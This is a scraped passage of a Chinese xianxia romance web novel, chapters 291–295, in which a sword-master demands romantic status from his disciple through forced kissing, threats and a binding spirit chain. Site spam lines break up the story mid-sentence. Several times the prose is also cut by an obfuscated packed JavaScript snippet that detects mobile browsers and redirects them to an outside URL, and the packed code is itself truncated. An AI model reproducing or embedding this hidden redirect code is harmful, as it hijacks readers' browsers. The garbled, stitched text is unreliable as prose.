白子夜冷冷侧目,“这关心给你师尊你要不要!” 林玉锦直接喊道:“代长老,你家这抬杠的癞**从哪个风水宝地挖出来的?怎么这么能叫!你们师徒这么喜欢林轻染,还不赶紧带回去啊!” 其他小伙伴阴恻恻眯眸,盯向那位明阳宗弟子道: “人生索然无味,癞**点评人类。” “能把你眼屎先擦了,再说话成不?” “劳资的厌蠢症都要犯了!” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 “直接把明阳宗改成阴阳宗得了!” 裴长安阴沉着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206903|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸,“不会说话就把嘴巴闭上!” 另外几个被林轻染救回一条命的弟子:“……”默默闭紧嘴巴。 南境这群人,嘴巴太特么毒了,舔一下嘴皮子,估计都能把自个毒死。 还有,差点忘了,江献晚现在是他们北境的帝后! 这特么谁敢骂? 没看裴长安都急眼了! 默默擦了擦眼屎的弟子:“……” 那这么说的话,还是算了。他师尊消受不起。 还有……他才不是癞**! 阴阳怪气的,分明是他们好吧! 他不过出于良心,就说了那么一两句……至于吗…… 代长老:“……”他什么时候喜欢林轻染了! 上去就是一个鞭腿! “逆徒!跟他们吵你不要命了!” “信不信我现在就把你逐出师门!” 主要,别带他,也别带阴阳,哦不,明阳宗啊! 懂不懂现在江献晚是个什么分量! 没看他们家帝尊视线直勾勾落了过来,雾渺脸都沉了,万古宗那几个长老弟子已经开始撸袖子了吗?!! 估计现在就能给他们宗改成阴阳宗! 第 291 章 清理门户 这边,一群人喷一个。 另一边,林轻染被怼的一退再退。 花不休心脏蓦地一疼。 他的孽徒步步紧逼,低头俯视,颈椎骨节微微凸起,形成一个色滟的弧度,像天鹅垂首时优美的曲线。 发际线边缘有些极细的绒毛,被阳光照得透明,后颈白得像初雪新霁。 他缓慢掀起眼帘,恍惚的眸光,落定在江献晚耳后,一怔。 心头无措的狼狈,被密密麻麻的酸胀取代。 那本该白白嫩嫩,如同瓷釉般的颈子,遍布齿痕。 同他留下的很像。 却不是他的。 将他留下的痕迹,里里外外的,都一一的覆盖掉。 颜色很滟,凝成深深浅浅的斑,悄然栖息。 烙在眼底。 是新痕。 孽徒去了繁华郡。 是,狐狸留下来的。 花不休掩在衣袖里的十指根根屈紧,尖锐的痛感,像是一根根针尖,正中心窍。 他无意识抚上胸口,缓缓垂睫,像是一道幕帘,只在缝隙间漏出一点黯淡的光。 林轻染被毫不掩饰的杀意,惊的心头一颤。 连连退步,背抵在粗粝的树干。 江献晚面上仍是没有一丝表情,蜷指擦过她鬓角的发丝,抵在纹理粗糙的树干。 微微垂眸。 声音低缓如冰。 杀机压缩成一线。 “你算什么东西,也配! 轰—— 收指的一刹那,树轰然碎成粉屑,林轻染手中的药瓶被狂暴的灵力绞碎成齑粉。 对此,六宗大多皆是冷眼旁观。 林轻染突然被裴长安严加看管,想都不用想,定然是剑尊与二位帝尊的意思。 虽不知她到底又做了什么**人怨的事,想来不是小事。 此人,断不像她表面那般无辜。 如果事关虚古境…… 她死一万次都不够! 江献晚那张嘴虽然有点贱吧,也没道德,人家可不像她那般绵里藏针。 孰好孰坏,他们心里门清! 你的朋友正在书荒,快去帮帮他吧 空气被灵力压缩,发出细微的撕裂声,擦耳而过,带着精准的定度。 不为惩戒,不为教训。 只叫人崩溃。 仿佛打在血肉之躯,将这副皮囊里的魂灵也震出窍来。 林轻染双腿一软,控制不住跌在地上。 她清楚,清楚江献晚这一刻有多想杀了她! 更恨,恨自己明明在知晓系统有办法控制厄弓的器灵,仍旧对她畏惧! 四面八方投来的冷漠蔑视,更叫她无比后悔方才探花不休口风的举动。 早知在她醒来被放出去的时候,就该马不停蹄逃走,赶去界域。 也不会撞上江献晚! 眼睁睁看着躯壳不听使唤,牙关自个儿磕碰起来,腿曲不得也伸不直,只筛糠似的乱抖。 林轻染面庞无法控制的狰狞,恨怕皆有。 她不是没有看到江献晚被帝隐抱下来的那一幕! 她的美人图鉴,到头来,竟成了江献晚的! 系统森森提醒,“且让她得意一会儿,待我们今日离开虚古境,我倒要看看,下次再见,她还会不会像现在这般狂妄!” 花不休挣脱了它的控制,出乎意料之外。 裴长安不由分说将林轻染拴在床上,更是出乎意料。 不过,他们就算猜到虚古境异动是林轻染在身后捣鬼,不还是因为没有证据,将林轻染放出来了? 尽管如此,它依旧不放心,也没耐心在这里耗下去,迟则生变,厄弓弓灵昨晚被它修补好。 待他们到了界域,两境再想来抓他们,可就难了。 用不了多久,这两境很快就会被他们收入囊中! 无论帝隐,还是云为泽,亦或者花不休,全喜欢江献晚又能怎样,到时还不是只能由他们驱策? 再无人能坏了它的好事,与它作对! 林轻染紧握着膝头,听着系统为她绘制的美好蓝图,逐渐镇定下来。 它说的对,且让江献晚这个**再得意一会儿! 只要她成为了这个世界的主宰,江献晚还有何本钱狂妄! 今日从前所受之辱,来日一并清算! 她定要江献晚求生不能求死不得! 林轻染 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 牙关松开,表情突然镇定,甚至愉悦的露出一个挑衅的讥笑。 有系统在,江献晚再怎么厉害,不还是照样杀不死她,拿她没办法? 花不休始终站在江献晚身后,将林轻染的反应尽收眼底,神色立时转冰。 抬步间,却听啪地一声脆响。 所有的人,忽然抖了一下。 表情动作整齐划一,一脸牙酸的……捂上了自己的脸。 这一巴掌……声音大的他们害怕。 让他们有种……耳刮子甩在他们脸上的错觉。 别说,真别说。 江献晚这小体力,属实牛逼。 六宗先是齐刷刷摸了一下自个的脸,又赶忙齐刷刷放下手,再齐刷刷吐出一口劫后余生般的长气。 真的。 差点以为自个被人扇了。 由此可见。 有事没事,都别惹江献晚! 有巴掌……她是真扇啊! 林轻染顶着半张高高肿起的脸颊,眼眶霎时迸裂,眼白爬上一层红血丝。 被当着众人的面扇了一耳光,颜面扫地,险些让她当场疯掉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206904|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>所有肌肉都绷到极致,凝成一个非人非鬼的狰狞相。 她不由恨急的看向,只言片语都未同她说一句的男人。 声音像是从冰窖深处刮出的阴风,薄而锐,如淬过寒水的钢针,笑声掺在话里,每个音节都裹着黏腻的湿冷。 “凤仪剑尊就是如此管束自己弟子的吗?” 他的心就这般硬? 她到底做错了什么,为什么每个人都来厌恶她! 连那几个被她救下的弟子,都冷眼旁观的站在远处,瞪着俩眼珠子看! 花不休缓缓踱步,青衣拂过身前的青衣,从江献晚身后越过半步,站定。 眼底并无波澜,却似深潭覆了一层薄冰,透不出半分暖意。 衣缘微动,又是猝不及防一声清脆的耳光,隔空打在她脸上。 多余的眼神都吝啬给她,转眸,青色衣袖如垂云泻落,沉沉及地。 整个人便似一尊工笔勾勒的修罗像,眉眼间凝着千年寒霜般的刻薄神情。 “雾掌门,你素日里教的都是如何痴缠男 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 子的功夫吗?” 再次捂了脸的六宗:“……”这对师徒…… 算了。 不说了。 雾渺早就阴沉的脸色,此刻彻底凝成了铁灰色。 尤其他小师叔面上一寸寸冷了下去,周身的气息伏着骇人的压迫感,广袖垂落不动,但袖缘的银线绣纹却无风自动般微微震颤。 看起来很有一种,不顾风度,上前亲手扇给林轻染两巴掌的冲动。 林轻染捂着两边面颊,看到雾渺的反应,心彻底凉了。 她再怎么说,与他是有肌肤之亲的,他却像在看一种极其恶心的生物,看着她。 凭什么! 他凭什么恶心她! 雾渺眼眸微眯,白色袍裾拂过地面,不见如何动作,手中出现一条长长的戒鞭。 他步履沉缓,苍白的肤色与玄黑鞭柄相映,鞭梢如蛇腹逶迤过冷岩。 停步时,倏忽卷住对方脚踝,冰冷的声线比玉珠更加阴沉。 同样半个字不愿与她多说。 只吐露二字。 “孽障。” 他抬眸掠过六宗。 “我雾渺今日便当着南北六宗,亲手清理门户。” “从此,林轻染与我北境万古宗,再无相干!” “谁若再于她说半个好字,便是与我万古宗,与我北境为敌!” 他们两人之间的账,也该清算一下了。 她是不是以为他雾渺是什么很好的人? 呵。 可笑。 她做了那么多害人不浅的事,还妄想轻飘飘的逃走? “遵掌门令?。”北境三宗皆垂首拱手。 第 292 章 全死 望着微微勾起唇一切尽在掌控的孽徒花不休袖中指骨几不可察地蜷缩又展开。 被无形丝线拉扯的两端所有挣扎的动摇 眼底那场无声的战争分出了胜负。 倏尔紧扣了江献晚的腕子在六宗一阵凌乱的目光中……迈开一步。 林间的风有些热枝叶相擦窸窣某处野果熟透迸裂的轻响还有不知名的鸟儿在浓荫里一声两声的短啼扰的人心也不静。 江献晚双臂环抱淡定的靠着树干只看着远处老树的根须从土里凸起。 不动。 也不说话。 那悠闲观景的模样活似睡完人扭头就将人忘了的负心汉! 花不休:“……”孽徒两个字他已经说累了。 江献晚:“……”反正她就不说话。 她没错。 他若不愿她又不会逼迫他负责。 想让她主动开口绝无可能。 两师徒立在被层层密叶筛过的日光下。 一个在忍。 一个在憋。 不分伯仲。 不知过了多久。 江献晚余光中那抹青衣好像动了一下又仿佛是错觉。 却听。 “我出去散步还未来得及拒绝她你就回了。” 音色偏低的声线如同墨玉相叩发出的清响温润偏偏又裹着三分烟似的僵硬。 而这三分有无措有慌乱有狼狈有紧张…… 江献晚:“……噢。”哦豁!花美人长嘴了? 跟她解释他方才为什么会跟林轻染站在一块? 这是……几个意思? 怕她吃醋? 怕她想多? 江献晚脑子转的飞快面色不改若无其事的点点头。 一副无所谓的态度。 花不休:“……” 登时被他的孽徒气的眼圈爬上一抹红痕。 孽徒! 没、有、心——! 花不休猛然背过身手指无意识地 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 攥紧了袖口,关节泛白。 呼吸还是稳的,甚至太过平稳,像是刻意维持着某种体面。 然而那圈红已经蔓延到了眼尾,将他平日里的疏懒自持,狠狠撕开了一道口子。 他眨了眨眼,很快地,试图驱散那片不请自来的潮湿,但那一抹红却愈发明显了。 听到孽徒若无其事、不干人事,在他背后突然哼了几声快乐小曲,又煞然转过身。 再控制不住,欺近一步。 咬着牙根,从齿缝挤出几个字。 “江、献、晚!” 她还是不是人? 她还能哼出小曲? 她就这么对他? 吃到嘴里后,装都不装了? 谁家孽徒能睡了自个师尊后,还能像她这般云淡风轻、毫无负责态度的模样! 江献晚:“……” 她哼小曲怎么了? 她不能哼吗? 他不是也睡她了? 谁家师尊能睡了自个徒儿后,还能像他这般不负责任、装的道貌岸然的模样! 到底是谁在装她请问? 当然……呃,她承认,她是有一点点装。 要是搁在从前,听到这三个字,第一反应,肯定是拔腿就跑。 现在,这三个字,对她没有一点压迫感。 不过。 看着花美人那一双眼角都气红了的眸子,还是捡起一点作为徒儿该有的良心。 但,又不多。 露出不解而茫然的目光。 “怎么了?” 又像是突然想起什么似的。 无辜眨眼。 “您还没走呢?” 花不休:“……” 怎么了? 她好意思问怎么了? 什么叫他还没走呢? 他不走是因为什么她就一点不知道? 她让他走,他就得走? 他凭什么走? 他就不走! 想将他赶走,好与帝隐狐狸他们几个双宿**和和美美? 呵! 妄想! 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 他干干净净的身子都给她了,她不想负这个责,便不负? 没人敢吃尽他花不休后,还能全身而退! 更没人敢一脚踹破烂一般,将他花不休踹开! 他嘴角倏地向上弯了一下,短促一笑。 那笑声是从鼻腔里短促地喷出来的,带着一点气音,像是不小心漏出的半口气。 眼底却,什么挣扎、什么拉扯、什么苦涩……全没了! 眉眼舒展,嘴角含着一缕尚未完全绽开的笑意。 由内而外焕发的自信与从容,却像无声的音浪向外扩散,光源自聚。 缓缓踏出一步,在江献晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206905|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些古怪的表情中,修长如玉的指节,压在她肩头,一推。 固定在树干,圈禁在及地大袖之间。 头颅压低,似笑非笑。 他目光仍是沉静,唇角弧度微妙,介于了然与嘲弄之间,并未抵达眼底。 吐出的字,似乎还能听出一丝笑音。 却更像毒蛇吐信,让人脊背发凉。 还带着……像是被自个老婆抛弃的破大防。 指尖缓缓点在江献晚心口。 说出来的话可谓是十足的阴阳怪气。 “江献晚。” “我凭什么要走?” “我为什么要走?” “怎么?这么着急将我打发走,碍着你与那几个男人亲亲热热如胶似漆了?” 说着说着,他面上的冷静在这一刻碎的干干净净。 似不欲给她开口的机会,更怕她开口,说出气**不偿命的话。 双眸洇红,表情嘲弄,根根分明的指骨猛地掐上她吻痕满布的后颈。 “他们都行我就活该?” “活该被你睡了,再被你一脚踹开?” “江献晚!你当吾是什么?很好打发的破烂?花巷一夜风流的小倌儿?你说睡便睡,踹便踹!” “让我走?” “我凭什么走!” “你怎么不让帝隐走!不让风回雪云为泽走!” “江献晚!我告诉你,我是不会就这么走的!惹到我算你倒了八辈子霉!想甩开我!痴心妄想!” “这个名分,你今日不给也得给!” “除非我死,要么你死!” “我花不休要不了的,谁都别想要!” “全、死。” 他说到最后,漆黑眼底看似平静,下颌线条如笔锋勾勒,脸上已不见平日半分潇洒疏懒。 声线平稳的可怕,没有一丝温度,也没有一丝起伏。 唇角噙着要笑不笑的弧度,是一种冰冷到极致,又灼热到癫狂的平静。 带着不容亵渎的贵气与久居人上的凛然气场。 眼廓狭长,眼尾微挑,睫羽如鸦羽覆雪,眸色是深沉的墨玉色,看似温润,实则眼底深处凝着千年寒潭般的幽邃与冷寂。 疯的叫人……心寒。 江献晚:“……”妈的。花美人杀疯了。 还……全死? 这嘴长的,还不如不长呢! 但她江献晚是被吓大的人吗? 她非得把花美人一下给捏**! 第 293 章 师尊是要杀了我吗 江献晚连眼睛都没眨一下,仍闲散的抱着臂,透着一股子松垮的劲儿。 那帘鸦羽闲闲地、不经意地向上抬起,带着一种漫不经心的慵懒,凝视近在咫尺的美人面。 花美人身量极高,流畅且富有侵略性的身体线条,极具压迫感。 宽大衣袖随风拂动,如流风回雪,愈显得身躯修长孤直。 他脸上并无半分喜怒,反而比任何狰狞的表情都更令人心惊。 仿佛溺毙后的平静,无所顾忌。 亦无需再权衡利弊,也无所谓后果。 向前略倾,只微垂了眼帘,脖颈到下颚的线条舒展,不见丝毫施力的紧绷,从容不迫,甚至有几分奇异的优雅。 但无声的垂眸却如鹰隼锁定了猎物,收敛了利爪,而又随时能将其撕裂。 平静之下,是破防后彻头彻尾的疯魔。 不留一丝争辩的余地,宣告一件无可更改的事实—— 这个名分,他花不休要定了! 不给也得给! 否则,大家一起玩完,都别想要! 江献晚:“…… 他想要她就得给? 不给就**? 成啊。 她倒要看看花美人,是怎么让大家一起玩完,有本事要到这个名分。 江献晚蓦地轻笑了一下。 指尖如染桃瓣,裹挟着一丝若有似无的幽香,轻轻掠过他胸前的衣料,带起一阵微不可察的摩挲。 勾住一缕散落的墨发,玩味的,一圈,又一圈,闲闲地绕着。 缓缓站直身子,学他的模样,似笑非笑地望进那双逐渐危险眯起,噙着一抹霜的墨色瞳眸。 踮起一点脚,仰着面。 仿佛凝着露珠、柔软水润的唇珠,若即若离,磨蹭着他薄薄的唇线,亲昵的像是呢喃。 却不再是调情,而是一个宣示,一个挑战。 呵气般吐露出一句。 “怎么,徒儿若说不给,师尊是要杀了我吗? 她指尖勾着那缕发丝,极具温存,迎上那双没有任何情绪的眸子,突然勾唇一笑。 “那徒儿只能告诉您。 “死也不……唔! 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 花不休面上并无波澜,只从喉间滚出这么一声短促到几乎听不见的轻笑。 膝盖一顶,卡在她腿间。 双手将孽徒的两只手,反剪于树干后,薄唇狠狠叼住了那点嫩红,压了过去。 狠戾的,将余下的字,吞入肺腑。 死也不给? 好的很! 江献晚真是好的很! 她说不给就不给? 做梦! 愈吻愈用力,近乎残暴,很快将那双唇亲的红肿。 而他的孽徒……八风不动,一双平静的眸,更是倒映着他有些幽沉的眼眸。 花不休眼底墨色翻涌,一口咬在她锁骨间,咬在那桃汁般的吻痕上,狠狠覆盖。 薄唇微张,漆黑的瞳孔看似沉寂,却疯癫得已然发狂。 吐出恍若薄薄的冰层下,涌动着锋利如刀的暗潮。 “死也不给?呵,江献晚,你能耐。” “你今日就算是**也别想……” 他猛地止声。 剔薄的睫羽簌簌一颤,缓缓扫向,悬挂着深紫色花朵,群居攀援生长在乔木之上的藤蔓帘幕…… 在先看到凤仪剑尊连声向江献晚,索要名分,不给就要**。 以苏清流、白子夜、林玉锦,为首,南境三宗的小伙伴:“……!!!” 短暂的沉默了一下,各个忽然跟邪祟附体似的,在藤蔓后,扭成大粪。 整整齐齐爆发出一声。 时云霄:“我靠!” 何未语:“我靠!” 修言:“我靠!” 其他人:“我靠!” 明长老:“我靠!” 江献晚把凤仪剑尊给睡了?!! 还不给人家名分? 凤仪剑尊要不到名分,恼羞成怒,还要**泄愤? 一个不给? 一个硬要? 苏清流三个:“……”不是。明长老什么时候来的?! “嘘!”明长老狗狗祟祟蹲在他们旁边,掩耳盗铃拿一片半个巴掌大的小树叶,挡了小半张脸,“别说话!” “这俩师徒,玩的可真特么溜啊! 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 ” “江献晚这个兔崽子,竟然敢把剑尊当小倌儿泡了,又当破烂儿扔了?牛逼啊!” “搁我我特么也破防,你说咱们帝尊她都要了,北帝尊也要了,偏偏不要她师尊?咱凤仪剑尊差哪了!” 所有小伙伴:“……”不让说话,你自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206906|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个嘚吧嘚吧说这么多。 又是短暂的沉默。 时云霄:“我把她当师妹!她竟然想做我长辈?!!” “还有,她还睡了风回雪?妖帝……风回雪?!!” 说到这个,修言很有发言权,激动道:“魔皇非翎也是她男人!” 时云霄双眼瞪大如铜铃:“靠!她到底有几个男人!” 何未语:“江师妹!!!我永远高高在上、无所不能、斩尽天下男人滴神——!!!” 修言:“这特么斩的也忒狠了点吧?把剑尊当狗玩呢?还把剑尊给整破防了?别说,还真别说,战绩可查!话说,她几条狗了?” 苏清流三个,一人给修言一个深痛的肘击。 “滚——!” 还有两个,他们到现在都没揪出来!!! 这边偷看的各个扭成邪祟,却见,凤仪剑尊自个破了一连串防,听到江献晚说“死也不……” 突然……跟个恶狗似的,将江献晚摁在了树上??! 以明长老为首,齐刷刷倒吸一口长气,低低惊呼:“……我靠——!” “强制爱!” 花不休:“……” 这一靠,想不通自个到底差哪了的花不休,终于听见了一片……猥琐的动静。 他膝头抵着树干,一只手还保持着,禁锢着江献晚两只手的姿态。 唇与唇相贴,可谓是,没有半点清白可言。 全然,白日、林间放浪的模样。 花不休只僵硬了一瞬,沉寂霜凝的眸,淡漠地乜向藤蔓后一片扭的格外风骚的影子,毫无被人发现的不自在。 在江献晚懒懒的歪了脑瓜,从他唇上移开,指尖擒了她的下巴,复而低头。 当着这么多人,明长老和她小伙伴的面,他今日若要不到这个名分,岂不是他花不休的无能! 孽徒不答应是吗? 好。 那便…… 一直亲! 亲到她死! 亲到她答应为止! 江献晚:“……” 这一片“靠”,她也听到了。 不过。 当着这么多小伙伴的面,她今天要是被花美人给收拾服了,颜面何在。 俩师徒莫名较上了劲。 一个硬要。 一个硬不给。 显然。 后浪推前浪。 徒儿亦能强过师尊。 第 294 章 玩脱了 江献晚口中氧气殆尽,眼前一片漆黑,双腕用力一拧。 花不休还是下手轻了,不舍得伤她半点,很轻易挣脱束缚。 待他还想来箍她手,身形一错,反手将他推在树干上。 用花不休方才禁锢她的姿势,将他死死禁锢。 在那双眸光掺着冷,掺着‘孽徒,你敢当着这些人的面,踹了我就死定了’的眸光中。 唇角微勾,语气莫名。 “想将人亲死是吗? “只怕师尊单凭着这点招数,还要不到名分。 花不休眼底一片寡淡。 他微微眯眸,凝视着那双向来薄情的眸子,下一秒,瞳孔一震。 在一片倒吸长气的低呼声里。 那对他毫无半点怜惜、将他当狗玩儿的孽徒,嗓音仿佛沾了蜜。 全然掌控者的架势,踮脚。 唇压上他的唇。 “不如,徒儿教一教师尊,如何才能将人活生生亲死? 被孽徒反剪了手的花不休:“…… 先是愣了一下。 睫毛簌簌一低,落在两扇卷翘的长睫上。 从他这个位置,看不到孽徒眼中的神色,只有两团扇子似的剪影。 可。 那双软腻的唇,却是他从未体会过的,再温存清醒不过的缱绻。 箍着他手腕的一双细嫩手指,是不容置喙、强势控局的力度。 软嘟嘟的唇压来的刹那,花不休觉得氧气陡然变得稀薄,呼吸急促紊乱。 神智一坠再坠,低喘着激烈回应,追逐她的唇舌。 方才堆雪砌冰的眉间,顷刻间被无边春色占据,滟若海棠,眉梢处媚得几乎能滴出春水。 两腮因氧气的迅速消耗,染上一层绯糜的薄红。 心中空余一句: 孽徒果然是能将人活生生亲死的。 随着所剩无几的氧气被那截软软的唇舌卷走,他眉心紧蹙,似用尽所有力气般,下颌像根被压弯的翠竹向上仰去,露出一截性感的颈项。 待迅速呼吸到足够氧气,再低头时,江献晚突然放开了他的手,来了一个水灵灵的转身。 在他愣神错 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 愕之际,淡淡留下一句气**不偿命的话。 “所以,这就是您为什么要不到名分。 偷看的观众:“……靠! 明长老疯狂嗑瓜子,“**诛心!狗都不能这么玩吧?她不给就不给,反手又照着人家心窝子来一下? “别说,兔崽子是真特么的狗啊! 修言感触颇深,看的直同情摇头,对着何未语道:“瞅瞅,这就是你们女人,一天到晚,净搁这**我们纯情男人的感情! “滚!何未语反手给他一个肘击。 他一个男人懂什么! 江献晚明摆着,想治一治剑尊那别别扭扭的性子。 时云霄有些嫌弃,“说真的,剑尊在我心里的高大形象,现在碎的跟特么渣渣似的!瞅瞅,这被训的,给点甜头就找不到东西南北了! “啧啧啧……为了一个名分,实惨啊! “这就算能要到,还不被她给捏死喽? “这特么早就捏**好吧?瞅瞅江献晚刚贴上去,他就遭不住了,那给人亲的,也没见他要到啊。 花不休:“…… 反应过来,孽徒方才只是在将他当狗玩儿,当着这么多人的面,都没有要给他名分的意思。 他眼瞳颜色极深,眸光流转间,时而疏离如冰镜映雪,时而又因些许情绪波动,折射出碎星般的光芒,勾魂夺魄。 望着那抹渐行渐远的背影,花不休唇角忽然挑起一抹若有似无的弧度,却没有丝毫暖意。 更像一痕被冰刃在雪地上划出的浅迹,冷得几乎令人疑为错觉。 袖袍如游鱼轻摆尾鳍,荡起一个微小的涟漪。 在明长老和一群小伙伴张牙舞爪、面庞扭曲的连声“我靠中。 一缕灵力凝作的、恍若覆着一层跳动虚火的细链,穿破空气,缠了那截纤细的足踝。 尾端自成精巧锁环,贴合着足踝的每一处轮廓,一枚火焰般的虚火铃铛,悬坠其上。 江献晚:“…… 低头一看,表情有瞬间的茫然。 下意识抬手想要将脚上多出来的环锁斩断,花不休却不会给她任何机会。 弹指一击,碎了她的灵力。 他步履从容,那一袭 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 青衣随之流转,荡开飘逸的涟漪。 在她十步之遥站定时,便是一幅晕染了天地灵秀的水墨丹青。 只见花美人朝她一歪脑瓜,勾勒出侧面利落而昳丽的线条,微微上挑的唇角,喉间甚至溢出一声愉悦而轻快的笑声。 “江献晚,你还真是好的很。 “当吾是条狗吗? 狗也得有个名分吧? 他欢愉的笑音,像是从胸腔最深处碾过才溢出喉咙,带上了一丝无端引人遐想的亲昵音色。 指尖轻轻一勾,江献晚……跌跌撞撞迈开三步。 随着被迫移动,足踝火焰般的铃铛,声音清脆叠响。 每一次带了某种极尽缠绵,诱惑的节拍,声声撩人心弦。 仿佛一种甜蜜又恼人的提醒,宣示着绝对的囚禁。 江献晚: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206907|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……不是。 这突然怎么一回事? 她……玩脱了? 花不休真疯了,跟她来真的?! 所以说……师尊永远是师尊! 听着小伙伴们嗷若疯狗的低呼,江献晚难得有些沉默。 低头看了脚上的锁环和铃铛十秒,再看延伸至花不休指尖的锁链。 抬眸。 露出一个尴尬而不失礼貌的微笑。 “那,自然不是。 她将花美人当狗玩! 花美人将她当狗拴! 伤敌一千,自损八百! 早知道就不玩了! 江献晚表情扭曲了一下,在花美人似笑非笑的凝视中,再沉默三秒。 “师尊,我觉得我们师徒俩可能需要冷静一下。 沉吟片刻。 “要不,您先将这东西收了,咱俩坐下来好好聊聊? “哦?花不休眼尾微挑,指尖轻勾,似乎有些不解,唇齿缓慢的浸吟着两个字,“聊聊? “倒不知,我们之间还有什么好聊? 江献晚默默垂眼,又瞅了一下被迫迈开三步的脚,仰起脑瓜,“聊聊……名分……的事? “名分? 花不休指尖微动,又将她扯过来三步。 看 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 那枚小铃铛不安分,紧紧随着步履起落,轻轻摇曳碰撞,发出一连串细碎、清越的声响。 薄唇亲昵的附在她耳畔,含着那点白腻的耳垂,轻轻呵出一口滚烫的气息,眼底却是一片沉沉的幽暗。 说出的话,让江献晚整个人都麻了。 “可,为师突然不想要了,你说,怎么办呢?” 她想给就给? 想不给就不给? 晚了! 江献晚:“……” 花美人……要**了! 在明长老和一群小伙伴,同情且掺着‘自作孽不可活’的哀悼瞩目下……江献晚被打横抱起。 她被剥了衣裳,身上除了小衣和轻透的雪裤,只剩与她身形不符的柔软青裳,装饰般挂在臂弯,仿若披帛。 雪白的足踝与流火般的细链锁环,形成一种脆弱与强势的禁锢感。 双腿分开,铃铛在水中颤的直响,双手死死推抵着花不休赤裸的胸膛,试图挣脱他唇舌的控制。 然,颈子后的指骨,纹丝不动,强势而又闲适的将她禁锢。 薄唇厮磨着她的唇瓣,一副打算活生生将人亲死的模样。 轻抵着岩壁,保持着微微仰面,饮酒的帝隐:“……” 一旁。 薄唇张开,下颌淌过一痕酒液的云为泽:“……” 第 295 章 疯了 看着水潭忽然多出来的两个,帝隐和云为泽……看的一愣,一愣,又一愣。 当场蚌住。 花不休目不斜视,面容仿佛一面光洁而冰冷的玉璧,是一片彻底的放松——放松到连最细微的表情都懒得浮现。 恍若看不见他俩一般,震碎江献晚的衣裳,将人抱在膝头。 整个人仿佛被抽走了筋骨,松散地倚靠着岩壁,唇角自然放松,微微下沉。 并非不悦,是连维持一个上扬弧度的力气都懒得花费。 眼睑要垂不垂地半阖着,长睫在眼下投出一小片慵懒的阴影。 放任自己沉浸在这片舒适的区域里,一条手臂懒洋洋地圈着一截白嫩的腰肢,掌心覆着江献晚的后脑瓜。 将人亲的……只能伏在他身上,浑身发着抖,瞳孔含着泪,两条雪玉般的长腿在水底下胡乱弹蹬,仍不肯作罢。 一串铃声骤然变得急促密集,仿佛一场突如其来的夏雨敲击着檐铃,透过濛濛潭水,响成一片,激烈而毫无章法,在湖面上荡开一圈圈清晰的涟漪。 帝隐:“…… 云为泽:“…… 不是。 这俩……怎么个回事? 很快,他俩发现……花不休好像是疯了。 他面色懒倦,处于一种毫无戒备的松弛状态。 那双眸中却并非平和,似有冰封**的冻土,寻不出一丝一毫的波动。 